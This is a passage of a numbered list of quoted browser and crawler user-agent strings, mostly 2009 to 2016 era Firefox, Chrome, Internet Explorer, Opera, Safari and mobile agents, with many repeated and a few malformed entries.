  1625. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1626. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  1627. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1628. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1629. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1630. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1631. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1632. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  1633. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1634. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1635. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  1636. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  1637. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1638. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  1639. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1640. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  1641. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1642. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1643. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  1644. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  1645. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1646. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  1647. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  1648. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1649. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1650. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  1651. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  1652. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1653. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1654. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1655. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1656. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1657. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1658. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1659. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1660. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  1661. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1662. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1663. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  1664. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1665. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1666. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1667. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1668. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  1669. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1670. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1671. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  1672. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  1673. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1674. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  1675. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1676. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  1677. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1678. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1679. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  1680. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  1681. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1682. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  1683. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  1684. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1685. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1686. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  1687. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  1688. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1689. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1690. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1691. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1692. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1693. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1694. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1695. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1696. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  1697. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1698. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1699. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  1700. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1701. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  1702. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1703. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1704. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  1705. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  1706. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  1707. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  1708. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  1709. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  1710. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  1711. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1712. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1713. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  1714. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  1715. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  1716. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  1717. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  1718. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  1719. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  1720. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  1721. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  1722. "C4PC UserAgent/0.7",
  1723. "Googlebot 1.01.003",
  1724. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  1725. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  1726. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  1727. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1728. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1729. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1730. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1731. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1732. "Opera/6.04 (Windows XP; U) [en]",
  1733. "Opera/9.99 (X11; U; sk)",
  1734. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1735. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1736. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/2002233 Debian/1.2.9-0.bunk",
  1737. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1738. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1739. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1740. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1741. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1742. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1743. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1744. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1745. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1746. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1747. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1748. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  1749. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1750. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1751. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1752. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1753. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1754. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  1755. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1756. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1757. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  1758. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  1759. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  1760. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  1761. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1762. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  1763. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  1764. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1765. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  1766. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  1767. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  1768. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  1769. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  1770. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1771. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1772. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  1773. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  1774. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1775. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1776. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1777. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1778. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  1779. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1780. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1781. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  1782. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  1783. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1784. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1785. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  1786. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1787. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  1788. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1789. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1790. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  1791. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  1792. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  1793. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  1794. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  1795. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  1796. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  1797. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1798. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1799. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  1800. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  1801. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  1802. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  1803. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  1804. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  1805. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  1806. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  1807. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  1808. "C4PC UserAgent/0.7",
  1809. "Googlebot 1.01.003",
  1810. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  1811. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  1812. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  1813. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  1814. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  1815. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  1816. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1817. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  1818. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  1819. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  1820. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  1821. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  1822. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  1823. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  1824. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  1825. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  1826. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  1827. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  1828. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1829. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  1830. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  1831. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  1832. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1833. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  1834. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  1835. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  1836. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  1837. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  1838. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  1839. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  1840. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  1841. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  1842. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  1843. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  1844. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
